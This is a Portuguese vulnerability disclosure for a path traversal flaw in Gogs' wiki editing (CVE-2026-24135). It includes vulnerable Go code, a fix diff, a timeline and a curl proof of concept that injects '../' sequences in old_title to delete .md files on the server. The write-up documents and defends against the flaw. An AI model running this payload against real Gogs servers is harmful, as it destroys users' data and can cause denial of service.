
Exclusão Arbitrária de Arquivos no Gogs via Path Traversal na Wiki
Gravidade: Alta (CVSS 7.5)
Software Afetado: Gogs <= 0.13.3
Corrigido em: 0.13.4, 0.14.0+dev
Advisory: GHSA-jp7c-wj6q-3qf2
Patch: gogs/gogs#8099
Durante uma auditoria de segurança do Gogs (um popular serviço Git auto-hospedado escrito em Go), encontrei uma vulnerabilidade de path traversal na função updateWikiPage. Ela permite que um usuário autenticado com acesso de escrita ao wiki exclua arquivos arbitrários no servidor injetando sequências de path traversal no parâmetro old_title do formulário de edição do wiki.
A vulnerabilidade é uma falha de sanitização assimétrica em internal/database/wiki.go. Quando uma página wiki é atualizada, a função trata dois parâmetros de título de forma diferente:
| Parâmetro | Sanitizado? | Usado em |
|---|---|---|
title (novo nome) | Sim — via ToWikiPageName() | path.Join() para criação de arquivo |
oldTitle (nome anterior) | Não | path.Join() + os.Remove() |
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
O valor de oldTitle flui diretamente da entrada do formulário controlada pelo usuário através do manipulador de rota para os.Remove() sem qualquer sanitização de caminho.
User Input (Form) Route Handler Database Function
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (unsanitized) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ No sanitization! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
Pré-requisitos: Usuário autenticado com acesso de escrita a qualquer repositório wiki.
/repo/wiki/editold_title para incluir sequências de path traversal (ex.: ../../../../tmp/target_file)# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Result: /tmp/target_file.md is deleted from the server
A extensão .md é anexada automaticamente. Qualquer arquivo terminado em .md para o qual o processo Gogs tenha permissão de escrita pode ser excluído.
| Impacto | Descrição |
|---|---|
| Exclusão Arbitrária de Arquivos | Exclui qualquer arquivo .md que o processo do Gogs possa escrever |
| Negação de Serviço | Remove arquivos críticos de configuração ou dados |
| Perda de Dados | Destrói páginas wiki, documentação ou arquivos de repositório de outros usuários |
| Escalação Potencial | Combinada com outras vulnerabilidades, pode levar a maiores comprometimentos |
Aplique a mesma sanitização ToWikiPageName ao oldTitle que já é aplicada ao title:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... existing code ...
title = ToWikiPageName(title)
+ // Sanitize oldTitle to prevent path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
Propus essa correção durante a divulgação e os mantenedores do Gogs a implementaram no PR #8099.
| Data | Evento |
|---|---|
| 2025-12-13 | Vulnerabilidade descoberta durante auditoria de segurança |
| 2025-12-13 | Advisory submetido via GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Seguimento com mantenedores do Gogs |
| 2026-01-20 | Mantenedor reconheceu a vulnerabilidade |
| 2026-01-22 | Patch mesclado (#8099) |
| 2026-01-22 | CVE-2026-24135 atribuída pelo GitHub |
| 2026-02-06 | Divulgação pública |